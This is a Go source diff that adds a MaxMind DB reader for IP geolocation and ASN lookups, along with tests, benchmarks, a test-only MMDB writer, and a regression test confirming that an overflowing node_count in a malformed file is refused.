|
||||
}
|
||||
|
||||
func TestUpdaterFailureKeepsWorking(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, rq *http.Request) {
|
||||
if strings.Contains(rq.URL.Path, "asn") {
|
||||
w.Write([]byte("isso não é gzip"))
|
||||
return
|
||||
}
|
||||
http.Error(w, "boom", 500)
|
||||
}))
|
||||
defer srv.Close()
|
||||
old := downloadBase
|
||||
downloadBase = srv.URL + "/"
|
||||
defer func() { downloadBase = old }()
|
||||
dir := t.TempDir()
|
||||
writeFile(t, dir, "dbip-asn-lite-2020-01.mmdb", buildMMDB(6, 24, asnEntries(), false, 1, "old"))
|
||||
r, _ := Open(dir)
|
||||
defer r.Close()
|
||||
r.updateAll(context.Background(), srv.Client(), false)
|
||||
st := r.Status()
|
||||
if st.LastError == "" {
|
||||
t.Fatal("esperava erro registrado")
|
||||
}
|
||||
if g := r.Lookup(ad("8.8.8.8")); g.ASN != 15169 {
|
||||
t.Fatalf("base antiga deveria seguir valendo: %+v", g)
|
||||
}
|
||||
if m, _ := filepath.Glob(filepath.Join(dir, ".tmp-*")); len(m) != 0 {
|
||||
t.Fatal("sobrou tmp")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLRUEvicts(t *testing.T) {
|
||||
c := newLRU(3)
|
||||
for i := 0; i < 10; i++ {
|
||||
c.put(netip.AddrFrom4([4]byte{1, 1, 1, byte(i)}), Info{ASN: uint32(i)})
|
||||
}
|
||||
if c.l.Len() != 3 || len(c.m) != 3 {
|
||||
t.Fatal(c.l.Len())
|
||||
}
|
||||
if in, ok := c.get(netip.AddrFrom4([4]byte{1, 1, 1, 9})); !ok || in.ASN != 9 {
|
||||
t.Fatal("recente sumiu")
|
||||
}
|
||||
if _, ok := c.get(netip.AddrFrom4([4]byte{1, 1, 1, 0})); ok {
|
||||
t.Fatal("antigo ficou")
|
||||
}
|
||||
}
|
||||
|
||||
// Integração com as bases reais: URUTAU_GEO_TESTDATA=<pasta com os .mmdb>.
|
||||
func TestRealData(t *testing.T) {
|
||||
dir := os.Getenv("URUTAU_GEO_TESTDATA")
|
||||
if dir == "" {
|
||||
t.Skip("URUTAU_GEO_TESTDATA não definido")
|
||||
}
|
||||
r, err := Open(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer r.Close()
|
||||
st := r.Status()
|
||||
if !st.City.Loaded || !st.ASN.Loaded {
|
||||
t.Fatalf("bases não carregadas: %+v", st)
|
||||
}
|
||||
t.Logf("status: %+v", st)
|
||||
cases := []struct {
|
||||
ip string
|
||||
cc string
|
||||
asn uint32
|
||||
org string
|
||||
}{
|
||||
{"8.8.8.8", "US", 15169, "Google"},
|
||||
{"1.1.1.1", "", 13335, "Cloudflare"},
|
||||
{"200.160.2.3", "BR", 0, ""},
|
||||
// o DB-IP geolocaliza este anycast IPv6 no Canadá; o ASN é o que importa
|
||||
{"2001:4860:4860::8888", "", 15169, "Google"},
|
||||
}
|
||||
for _, c := range cases {
|
||||
in := r.Lookup(ad(c.ip))
|
||||
t.Logf("%s => %+v", c.ip, in)
|
||||
if c.cc != "" && in.CountryCode != c.cc {
|
||||
t.Errorf("%s: cc=%q", c.ip, in.CountryCode)
|
||||
}
|
||||
if c.asn != 0 && in.ASN != c.asn {
|
||||
t.Errorf("%s: asn=%d", c.ip, in.ASN)
|
||||
}
|
||||
if c.org != "" && !strings.Contains(in.ASOrg, c.org) {
|
||||
t.Errorf("%s: org=%q", c.ip, in.ASOrg)
|
||||
}
|
||||
}
|
||||
if in := r.Lookup(ad("200.160.2.3")); in.CountryPT != "Brasil" || in.ASN == 0 {
|
||||
t.Errorf("pt/asn BR: %+v", in)
|
||||
}
|
||||
}
|
||||
|
||||
func benchResolver(b *testing.B) (*Resolver, []netip.Addr) {
|
||||
dir := os.Getenv("URUTAU_GEO_TESTDATA")
|
||||
var r *Resolver
|
||||
if dir != "" {
|
||||
r, _ = Open(dir)
|
||||
} else {
|
||||
d := b.TempDir()
|
||||
writeFile(b, d, "dbip-city-lite-2026-11.mmdb", buildMMDB(6, 28, cityEntries(), true, 1, "x"))
|
||||
writeFile(b, d, "dbip-asn-lite-2026-11.mmdb", buildMMDB(6, 24, asnEntries(), true, 1, "x"))
|
||||
r, _ = Open(d)
|
||||
}
|
||||
ips := make([]netip.Addr, 4096)
|
||||
x := uint32(12345)
|
||||
for i := range ips {
|
||||
x = x*1664525 + 1013904223
|
||||
ips[i] = netip.AddrFrom4([4]byte{byte(x >> 24), byte(x >> 16), byte(x >> 8), byte(x)})
|
||||
if i%8 == 7 {
|
||||
ips[i] = ad(fmt.Sprintf("2001:4860:%x::8888", i))
|
||||
}
|
||||
}
|
||||
return r, ips
|
||||
}
|
||||
|
||||
func BenchmarkLookupNoCache(b *testing.B) {
|
||||
r, ips := benchResolver(b)
|
||||
defer r.Close()
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
for i := 0; i < b.N; i++ {
|
||||
r.lookupRaw(ips[i&4095])
|
||||
}
|
||||
}
|
||||
|
||||
func BenchmarkLookupCached(b *testing.B) {
|
||||
r, ips := benchResolver(b)
|
||||
defer r.Close()
|
||||
ips = ips[:512]
|
||||
for _, ip := range ips {
|
||||
r.Lookup(ip)
|
||||
}
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
for i := 0; i < b.N; i++ {
|
||||
r.Lookup(ips[i&511])
|
||||
}
|
||||
}
|
||||
|
||||
// Mede RSS e heap com a base city mapeada: mmap não deve entrar no heap.
|
||||
func TestRealMemory(t *testing.T) {
|
||||
dir := os.Getenv("URUTAU_GEO_TESTDATA")
|
||||
if dir == "" {
|
||||
t.Skip("URUTAU_GEO_TESTDATA não definido")
|
||||
}
|
||||
rss := func() string {
|
||||
b, _ := os.ReadFile("/proc/self/status")
|
||||
var out []string
|
||||
for _, l := range strings.Split(string(b), "\n") {
|
||||
if strings.HasPrefix(l, "VmRSS") || strings.HasPrefix(l, "RssAnon") || strings.HasPrefix(l, "RssFile") {
|
||||
out = append(out, strings.Join(strings.Fields(l), " "))
|
||||
}
|
||||
}
|
||||
return strings.Join(out, " | ")
|
||||
}
|
||||
var ms runtime.MemStats
|
||||
runtime.GC()
|
||||
runtime.ReadMemStats(&ms)
|
||||
t.Logf("antes: heap=%d KiB %s", ms.HeapAlloc/1024, rss())
|
||||
r, err := Open(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer r.Close()
|
||||
x := uint32(7)
|
||||
for i := 0; i < 20000; i++ {
|
||||
x = x*1664525 + 1013904223
|
||||
r.Lookup(netip.AddrFrom4([4]byte{byte(x >> 24), byte(x >> 16), byte(x >> 8), byte(x)}))
|
||||
}
|
||||
runtime.GC()
|
||||
runtime.ReadMemStats(&ms)
|
||||
t.Logf("depois: heap=%d KiB %s", ms.HeapAlloc/1024, rss())
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
package geo
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"net/netip"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// A node_count so large that node_count*node_bytes overflows must be refused:
|
||||
// before the fix the tree-size check passed and lookups indexed outside the file.
|
||||
func TestOverflowingNodeCountIsRefused(t *testing.T) {
|
||||
u64 := func(v uint64) []byte {
|
||||
b := []byte{}
|
||||
for i := 7; i >= 0; i-- {
|
||||
b = append(b, byte(v>>(8*uint(i))))
|
||||
}
|
||||
return append([]byte{0x08, 0x02}, b...)
|
||||
}
|
||||
str := func(s string) []byte { return append([]byte{0x40 | byte(len(s))}, s...) }
|
||||
u16 := func(v uint16) []byte { return []byte{0xa2, byte(v >> 8), byte(v)} }
|
||||
for _, count := range []uint64{1 << 63, 1 << 62, 1<<64 - 1, 1 << 40} {
|
||||
var m bytes.Buffer
|
||||
m.WriteByte(0xe5)
|
||||
m.Write(str("node_count"))
|
||||
m.Write(u64(count))
|
||||
m.Write(str("record_size"))
|
||||
m.Write(u16(24))
|
||||
m.Write(str("ip_version"))
|
||||
m.Write(u16(4))
|
||||
m.Write(str("binary_format_major_version"))
|
||||
m.Write(u16(2))
|
||||
m.Write(str("build_epoch"))
|
||||
m.Write(u16(1))
|
||||
var f bytes.Buffer
|
||||
f.Write(bytes.Repeat([]byte{0x7f}, 64))
|
||||
f.Write(make([]byte, 16))
|
||||
f.WriteString("\xab\xcd\xefMaxMind.com")
|
||||
f.Write(m.Bytes())
|
||||
r, err := newReader(f.Bytes())
|
||||
if err == nil {
|
||||
func() {
|
||||
defer func() {
|
||||
if p := recover(); p != nil {
|
||||
t.Fatalf("node_count %d accepted and a lookup panicked: %v", count, p)
|
||||
}
|
||||
}()
|
||||
r.find(netip.MustParseAddr("8.8.8.8"))
|
||||
}()
|
||||
t.Fatalf("node_count %d must be refused", count)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,537 @@
|
||||
package geo
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math"
|
||||
"math/big"
|
||||
"net/netip"
|
||||
"os"
|
||||
"sync"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
// Leitor MaxMind DB (MMDB) v2 implementado do zero, somente leitura.
|
||||
|
||||
const (
|
||||
tPointer = 1
|
||||
tString = 2
|
||||
tDouble = 3
|
||||
tBytes = 4
|
||||
tUint16 = 5
|
||||
tUint32 = 6
|
||||
tMap = 7
|
||||
tInt32 = 8
|
||||
tUint64 = 9
|
||||
tUint128 = 10
|
||||
tArray = 11
|
||||
tContainer = 12
|
||||
tEnd = 13
|
||||
tBool = 14
|
||||
tFloat = 15
|
||||
|
||||
maxDepth = 64
|
||||
)
|
||||
|
||||
var metaMarker = []byte("\xab\xcd\xefMaxMind.com")
|
||||
|
||||
var errCorrupt = errors.New("mmdb: dados corrompidos")
|
||||
|
||||
// decoder decodifica a seção de dados (ou de metadados); ponteiros são
|
||||
// relativos ao início de buf.
|
||||
type decoder struct{ buf []byte }
|
||||
|
||||
// header lê o byte de controle em off. Para ponteiros devolve typ=tPointer,
|
||||
// size=alvo e data=offset logo após o ponteiro.
|
||||
func (d decoder) header(off uint) (typ byte, size uint, data uint, err error) {
|
||||
b := d.buf
|
||||
if off >= uint(len(b)) {
|
||||
return 0, 0, 0, errCorrupt
|
||||
}
|
||||
ctrl := b[off]
|
||||
off++
|
||||
typ = ctrl >> 5
|
||||
if typ == tPointer {
|
||||
ss := uint(ctrl>>3) & 3
|
||||
n := ss + 1
|
||||
if off+n > uint(len(b)) {
|
||||
return 0, 0, 0, errCorrupt
|
||||
}
|
||||
var v uint
|
||||
if ss == 3 {
|
||||
v = uint(binary.BigEndian.Uint32(b[off:]))
|
||||
} else {
|
||||
v = uint(ctrl & 7)
|
||||
for i := uint(0); i < n; i++ {
|
||||
v = v<<8 | uint(b[off+i])
|
||||
}
|
||||
switch ss {
|
||||
case 1:
|
||||
v += 2048
|
||||
case 2:
|
||||
v += 526336
|
||||
}
|
||||
}
|
||||
return tPointer, v, off + n, nil
|
||||
}
|
||||
if typ == 0 {
|
||||
if off >= uint(len(b)) {
|
||||
return 0, 0, 0, errCorrupt
|
||||
}
|
||||
typ = 7 + b[off]
|
||||
off++
|
||||
}
|
||||
size = uint(ctrl & 0x1f)
|
||||
if size >= 29 {
|
||||
n := size - 28 // 1, 2 ou 3 bytes
|
||||
if off+n > uint(len(b)) {
|
||||
return 0, 0, 0, errCorrupt
|
||||
}
|
||||
var v uint
|
||||
for i := uint(0); i < n; i++ {
|
||||
v = v<<8 | uint(b[off+i])
|
||||
}
|
||||
switch n {
|
||||
case 1:
|
||||
v += 29
|
||||
case 2:
|
||||
v += 285
|
||||
default:
|
||||
v += 65821
|
||||
}
|
||||
size = v
|
||||
off += n
|
||||
}
|
||||
return typ, size, off, nil
|
||||
}
|
||||
|
||||
// resolve segue ponteiros e devolve o offset do valor real.
|
||||
func (d decoder) resolve(off uint) (uint, error) {
|
||||
for i := 0; i < 4; i++ {
|
||||
typ, size, _, err := d.header(off)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
if typ != tPointer {
|
||||
return off, nil
|
||||
}
|
||||
off = size
|
||||
}
|
||||
return 0, errCorrupt
|
||||
}
|
||||
|
||||
// skip devolve o offset logo após o valor em off (ponteiros ocupam só o próprio tamanho).
|
||||
func (d decoder) skip(off uint, depth int) (uint, error) {
|
||||
if depth > maxDepth {
|
||||
return 0, errCorrupt
|
||||
}
|
||||
typ, size, data, err := d.header(off)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
switch typ {
|
||||
case tPointer, tBool:
|
||||
return data, nil
|
||||
case tMap, tArray:
|
||||
n := size
|
||||
if typ == tMap {
|
||||
n *= 2
|
||||
}
|
||||
if n > uint(len(d.buf)) {
|
||||
return 0, errCorrupt
|
||||
}
|
||||
for i := uint(0); i < n; i++ {
|
||||
if data, err = d.skip(data, depth+1); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
return data, nil
|
||||
case tContainer, tEnd:
|
||||
return 0, errCorrupt
|
||||
default:
|
||||
if data+size > uint(len(d.buf)) {
|
||||
return 0, errCorrupt
|
||||
}
|
||||
return data + size, nil
|
||||
}
|
||||
}
|
||||
|
||||
// str devolve os bytes de uma string em off (resolvendo ponteiro), sem copiar.
|
||||
func (d decoder) str(off uint) ([]byte, error) {
|
||||
v, err := d.resolve(off)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
typ, size, data, err := d.header(v)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if typ != tString || data+size > uint(len(d.buf)) {
|
||||
return nil, errCorrupt
|
||||
}
|
||||
return d.buf[data : data+size], nil
|
||||
}
|
||||
|
||||
func (d decoder) uintAt(off uint) (uint64, error) {
|
||||
v, err := d.resolve(off)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
typ, size, data, err := d.header(v)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
switch typ {
|
||||
case tUint16, tUint32, tUint64:
|
||||
default:
|
||||
return 0, errCorrupt
|
||||
}
|
||||
if size > 8 || data+size > uint(len(d.buf)) {
|
||||
return 0, errCorrupt
|
||||
}
|
||||
var x uint64
|
||||
for _, c := range d.buf[data : data+size] {
|
||||
x = x<<8 | uint64(c)
|
||||
}
|
||||
return x, nil
|
||||
}
|
||||
|
||||
func (d decoder) floatAt(off uint) (float64, error) {
|
||||
v, err := d.resolve(off)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
typ, size, data, err := d.header(v)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
switch {
|
||||
case typ == tDouble && size == 8 && data+8 <= uint(len(d.buf)):
|
||||
return math.Float64frombits(binary.BigEndian.Uint64(d.buf[data:])), nil
|
||||
case typ == tFloat && size == 4 && data+4 <= uint(len(d.buf)):
|
||||
return float64(math.Float32frombits(binary.BigEndian.Uint32(d.buf[data:]))), nil
|
||||
}
|
||||
return 0, errCorrupt
|
||||
}
|
||||
|
||||
// mapEntries chama fn para cada par chave/valor do mapa em off.
|
||||
func (d decoder) mapEntries(off uint, fn func(key []byte, val uint) error) error {
|
||||
v, err := d.resolve(off)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
typ, size, p, err := d.header(v)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if typ != tMap || size > uint(len(d.buf)) {
|
||||
return errCorrupt
|
||||
}
|
||||
for i := uint(0); i < size; i++ {
|
||||
k, err := d.str(p)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if p, err = d.skip(p, 0); err != nil {
|
||||
return err
|
||||
}
|
||||
if err = fn(k, p); err != nil {
|
||||
return err
|
||||
}
|
||||
if p, err = d.skip(p, 0); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// decode produz uma representação genérica (usada em metadados e testes):
|
||||
// map[string]any, []any, string, []byte, float64, uint64, *big.Int, int32, bool.
|
||||
func (d decoder) decode(off uint, depth int) (any, error) {
|
||||
if depth > maxDepth {
|
||||
return nil, errCorrupt
|
||||
}
|
||||
v, err := d.resolve(off)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
typ, size, p, err := d.header(v)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
switch typ {
|
||||
case tMap:
|
||||
if size > uint(len(d.buf)) {
|
||||
return nil, errCorrupt
|
||||
}
|
||||
m := make(map[string]any, size)
|
||||
for i := uint(0); i < size; i++ {
|
||||
k, err := d.str(p)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if p, err = d.skip(p, 0); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
val, err := d.decode(p, depth+1)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m[string(k)] = val
|
||||
if p, err = d.skip(p, 0); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
case tArray:
|
||||
if size > uint(len(d.buf)) {
|
||||
return nil, errCorrupt
|
||||
}
|
||||
a := make([]any, 0, size)
|
||||
for i := uint(0); i < size; i++ {
|
||||
val, err := d.decode(p, depth+1)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a = append(a, val)
|
||||
if p, err = d.skip(p, 0); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return a, nil
|
||||
case tString:
|
||||
s, err := d.str(v)
|
||||
return string(s), err
|
||||
case tBytes:
|
||||
if p+size > uint(len(d.buf)) {
|
||||
return nil, errCorrupt
|
||||
}
|
||||
return append([]byte(nil), d.buf[p:p+size]...), nil
|
||||
case tDouble, tFloat:
|
||||
return d.floatAt(v)
|
||||
case tUint16, tUint32, tUint64:
|
||||
return d.uintAt(v)
|
||||
case tUint128:
|
||||
if size > 16 || p+size > uint(len(d.buf)) {
|
||||
return nil, errCorrupt
|
||||
}
|
||||
return new(big.Int).SetBytes(d.buf[p : p+size]), nil
|
||||
case tInt32:
|
||||
if size > 4 || p+size > uint(len(d.buf)) {
|
||||
return nil, errCorrupt
|
||||
}
|
||||
var x uint32
|
||||
for _, c := range d.buf[p : p+size] {
|
||||
x = x<<8 | uint32(c)
|
||||
}
|
||||
return int32(x), nil
|
||||
case tBool:
|
||||
return size != 0, nil
|
||||
}
|
||||
return nil, errCorrupt
|
||||
}
|
||||
|
||||
// reader é um MMDB aberto (imutável, seguro para uso concorrente). O mutex
|
||||
// protege apenas o fechamento: leitores seguram RLock enquanto usam o mapa.
|
||||
type reader struct {
|
||||
mu sync.RWMutex
|
||||
closed bool
|
||||
|
||||
buf []byte // arquivo inteiro (mmap ou heap)
|
||||
unmap func() error
|
||||
dec decoder // seção de dados
|
||||
nodeCount uint
|
||||
recSize uint
|
||||
nodeBytes uint
|
||||
ipVersion uint
|
||||
ipv4Start uint
|
||||
treeSize uint
|
||||
|
||||
DatabaseType string
|
||||
BuildEpoch uint64
|
||||
Meta map[string]any
|
||||
}
|
||||
|
||||
func openReader(path string) (*reader, error) {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer f.Close()
|
||||
st, err := f.Stat()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var buf []byte
|
||||
var unmap func() error
|
||||
if st.Size() > 0 {
|
||||
if m, err := syscall.Mmap(int(f.Fd()), 0, int(st.Size()), syscall.PROT_READ, syscall.MAP_SHARED); err == nil {
|
||||
buf = m
|
||||
unmap = func() error { return syscall.Munmap(m) }
|
||||
}
|
||||
}
|
||||
if buf == nil {
|
||||
if buf, err = os.ReadFile(path); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
r, err := newReader(buf)
|
||||
if err != nil {
|
||||
if unmap != nil {
|
||||
unmap()
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
r.unmap = unmap
|
||||
return r, nil
|
||||
}
|
||||
|
||||
func newReader(buf []byte) (*reader, error) {
|
||||
i := bytes.LastIndex(buf, metaMarker)
|
||||
if i < 0 {
|
||||
return nil, errors.New("mmdb: metadados não encontrados")
|
||||
}
|
||||
metaBuf := buf[i+len(metaMarker):]
|
||||
md := decoder{buf: metaBuf}
|
||||
mv, err := md.decode(0, 0)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("mmdb: metadados: %w", err)
|
||||
}
|
||||
meta, ok := mv.(map[string]any)
|
||||
if !ok {
|
||||
return nil, errors.New("mmdb: metadados inválidos")
|
||||
}
|
||||
getu := func(k string) uint64 { x, _ := meta[k].(uint64); return x }
|
||||
r := &reader{buf: buf, Meta: meta}
|
||||
r.nodeCount = uint(getu("node_count"))
|
||||
r.recSize = uint(getu("record_size"))
|
||||
r.ipVersion = uint(getu("ip_version"))
|
||||
r.BuildEpoch = getu("build_epoch")
|
||||
r.DatabaseType, _ = meta["database_type"].(string)
|
||||
if major := getu("binary_format_major_version"); major != 2 {
|
||||
return nil, fmt.Errorf("mmdb: versão %d não suportada", major)
|
||||
}
|
||||
if r.recSize != 24 && r.recSize != 28 && r.recSize != 32 {
|
||||
return nil, fmt.Errorf("mmdb: record_size %d inválido", r.recSize)
|
||||
}
|
||||
if r.ipVersion != 4 && r.ipVersion != 6 {
|
||||
return nil, errors.New("mmdb: ip_version inválido")
|
||||
}
|
||||
r.nodeBytes = r.recSize / 4
|
||||
// bound the node count BEFORE multiplying: a huge value would overflow and
|
||||
// make the tree-size check pass while lookups index far outside the file
|
||||
if r.nodeCount == 0 || r.nodeCount > uint(len(buf))/r.nodeBytes {
|
||||
return nil, errors.New("mmdb: node_count inválido")
|
||||
}
|
||||
r.treeSize = r.nodeCount * r.nodeBytes
|
||||
dataStart := r.treeSize + 16
|
||||
if dataStart > uint(i) {
|
||||
return nil, errors.New("mmdb: árvore inválida")
|
||||
}
|
||||
r.dec = decoder{buf: buf[dataStart:i]}
|
||||
if r.ipVersion == 6 {
|
||||
node := uint(0)
|
||||
for b := 0; b < 96 && node < r.nodeCount; b++ {
|
||||
node = r.readNode(node, 0)
|
||||
}
|
||||
r.ipv4Start = node
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
|
||||
func (r *reader) readNode(node uint, bit byte) uint {
|
||||
o := node * r.nodeBytes
|
||||
b := r.buf[o : o+r.nodeBytes]
|
||||
switch r.recSize {
|
||||
case 24:
|
||||
if bit == 0 {
|
||||
return uint(b[0])<<16 | uint(b[1])<<8 | uint(b[2])
|
||||
}
|
||||
return uint(b[3])<<16 | uint(b[4])<<8 | uint(b[5])
|
||||
case 28:
|
||||
if bit == 0 {
|
||||
return uint(b[3]&0xF0)<<20 | uint(b[0])<<16 | uint(b[1])<<8 | uint(b[2])
|
||||
}
|
||||
return uint(b[3]&0x0F)<<24 | uint(b[4])<<16 | uint(b[5])<<8 | uint(b[6])
|
||||
default:
|
||||
if bit == 0 {
|
||||
return uint(binary.BigEndian.Uint32(b[0:4]))
|
||||
}
|
||||
return uint(binary.BigEndian.Uint32(b[4:8]))
|
||||
}
|
||||
}
|
||||
|
||||
// find devolve o offset do registro na seção de dados.
|
||||
func (r *reader) find(ip netip.Addr) (uint, bool) {
|
||||
ip = ip.Unmap()
|
||||
var a16 [16]byte
|
||||
var addr []byte
|
||||
node := uint(0)
|
||||
if ip.Is4() {
|
||||
a4 := ip.As4()
|
||||
addr = a4[:]
|
||||
node = r.ipv4Start
|
||||
} else {
|
||||
if r.ipVersion == 4 {
|
||||
return 0, false
|
||||
}
|
||||
a16 = ip.As16()
|
||||
addr = a16[:]
|
||||
}
|
||||
bits := len(addr) * 8
|
||||
for i := 0; i < bits && node < r.nodeCount; i++ {
|
||||
node = r.readNode(node, (addr[i>>3]>>(7-uint(i&7)))&1)
|
||||
}
|
||||
if node <= r.nodeCount {
|
||||
return 0, false
|
||||
}
|
||||
off := node - r.nodeCount - 16
|
||||
if off >= uint(len(r.dec.buf)) {
|
||||
return 0, false
|
||||
}
|
||||
return off, true
|
||||
}
|
||||
|
||||
// acquire/release protegem o uso do mapeamento contra close concorrente.
|
||||
func (r *reader) acquire() bool {
|
||||
r.mu.RLock()
|
||||
if r.closed {
|
||||
r.mu.RUnlock()
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
func (r *reader) release() { r.mu.RUnlock() }
|
||||
|
||||
// close espera os leitores em andamento e libera o mapeamento.
|
||||
func (r *reader) close() error {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if r.closed {
|
||||
return nil
|
||||
}
|
||||
r.closed = true
|
||||
r.buf, r.dec = nil, decoder{}
|
||||
if r.unmap != nil {
|
||||
return r.unmap()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// sanity runs a few lookups so a structurally odd file fails here, at install
|
||||
// time, instead of inside the log pipeline. A panic is reported as an error.
|
||||
func (r *reader) sanity() (err error) {
|
||||
defer func() {
|
||||
if p := recover(); p != nil {
|
||||
err = fmt.Errorf("mmdb: consulta de sanidade falhou: %v", p)
|
||||
}
|
||||
}()
|
||||
for _, a := range []string{"8.8.8.8", "1.1.1.1", "2001:4860:4860::8888", "192.0.2.1", "::1"} {
|
||||
if ip, perr := netip.ParseAddr(a); perr == nil {
|
||||
r.find(ip)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,281 @@
|
||||
package geo
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"math"
|
||||
"math/big"
|
||||
"net/netip"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// Writer MMDB mínimo, só para testes.
|
||||
|
||||
type f32 float32
|
||||
type u16 uint16
|
||||
type u32 uint32
|
||||
type u64 uint64
|
||||
type u128 struct{ *big.Int }
|
||||
type i32 int32
|
||||
|
||||
type mmEnc struct {
|
||||
buf bytes.Buffer
|
||||
strs map[string]int
|
||||
ptrs bool
|
||||
}
|
||||
|
||||
func ctrlBytes(typ byte, size int) []byte {
|
||||
var first byte
|
||||
var ext []byte
|
||||
if typ <= 7 {
|
||||
first = typ << 5
|
||||
} else {
|
||||
ext = []byte{typ - 7}
|
||||
}
|
||||
var sz []byte
|
||||
switch {
|
||||
case size < 29:
|
||||
first |= byte(size)
|
||||
case size < 285:
|
||||
first |= 29
|
||||
sz = []byte{byte(size - 29)}
|
||||
case size < 65821:
|
||||
first |= 30
|
||||
v := size - 285
|
||||
sz = []byte{byte(v >> 8), byte(v)}
|
||||
default:
|
||||
first |= 31
|
||||
v := size - 65821
|
||||
sz = []byte{byte(v >> 16), byte(v >> 8), byte(v)}
|
||||
}
|
||||
return append(append([]byte{first}, ext...), sz...)
|
||||
}
|
||||
|
||||
func (e *mmEnc) pointer(off int) {
|
||||
switch {
|
||||
case off < 2048:
|
||||
e.buf.Write([]byte{0x20 | byte(off>>8), byte(off)})
|
||||
case off < 2048+(1<<19):
|
||||
v := off - 2048
|
||||
e.buf.Write([]byte{0x28 | byte(v>>16), byte(v >> 8), byte(v)})
|
||||
case off < 526336+(1<<27):
|
||||
v := off - 526336
|
||||
e.buf.Write([]byte{0x30 | byte(v>>24), byte(v >> 16), byte(v >> 8), byte(v)})
|
||||
default:
|
||||
e.buf.Write([]byte{0x38, byte(off >> 24), byte(off >> 16), byte(off >> 8), byte(off)})
|
||||
}
|
||||
}
|
||||
|
||||
func uintBytes(v uint64) []byte {
|
||||
var b [8]byte
|
||||
binary.BigEndian.PutUint64(b[:], v)
|
||||
i := 0
|
||||
for i < 8 && b[i] == 0 {
|
||||
i++
|
||||
}
|
||||
return b[i:]
|
||||
}
|
||||
|
||||
func (e *mmEnc) str(s string) {
|
||||
if e.ptrs {
|
||||
if off, ok := e.strs[s]; ok {
|
||||
e.pointer(off)
|
||||
return
|
||||
}
|
||||
e.strs[s] = e.buf.Len()
|
||||
}
|
||||
e.buf.Write(ctrlBytes(2, len(s)))
|
||||
e.buf.WriteString(s)
|
||||
}
|
||||
|
||||
func (e *mmEnc) value(v any) {
|
||||
switch x := v.(type) {
|
||||
case string:
|
||||
e.str(x)
|
||||
case float64:
|
||||
e.buf.Write(ctrlBytes(3, 8))
|
||||
var b [8]byte
|
||||
binary.BigEndian.PutUint64(b[:], math.Float64bits(x))
|
||||
e.buf.Write(b[:])
|
||||
case f32:
|
||||
e.buf.Write(ctrlBytes(15, 4))
|
||||
var b [4]byte
|
||||
binary.BigEndian.PutUint32(b[:], math.Float32bits(float32(x)))
|
||||
e.buf.Write(b[:])
|
||||
case []byte:
|
||||
e.buf.Write(ctrlBytes(4, len(x)))
|
||||
e.buf.Write(x)
|
||||
case u16:
|
||||
b := uintBytes(uint64(x))
|
||||
e.buf.Write(ctrlBytes(5, len(b)))
|
||||
e.buf.Write(b)
|
||||
case u32:
|
||||
b := uintBytes(uint64(x))
|
||||
e.buf.Write(ctrlBytes(6, len(b)))
|
||||
e.buf.Write(b)
|
||||
case uint32:
|
||||
e.value(u32(x))
|
||||
case u64:
|
||||
b := uintBytes(uint64(x))
|
||||
e.buf.Write(ctrlBytes(9, len(b)))
|
||||
e.buf.Write(b)
|
||||
case int:
|
||||
e.value(u32(x))
|
||||
case u128:
|
||||
b := x.Bytes()
|
||||
e.buf.Write(ctrlBytes(10, len(b)))
|
||||
e.buf.Write(b)
|
||||
case i32:
|
||||
var b [4]byte
|
||||
binary.BigEndian.PutUint32(b[:], uint32(x))
|
||||
e.buf.Write(ctrlBytes(8, 4))
|
||||
e.buf.Write(b[:])
|
||||
case bool:
|
||||
n := 0
|
||||
if x {
|
||||
n = 1
|
||||
}
|
||||
e.buf.Write(ctrlBytes(14, n))
|
||||
case []any:
|
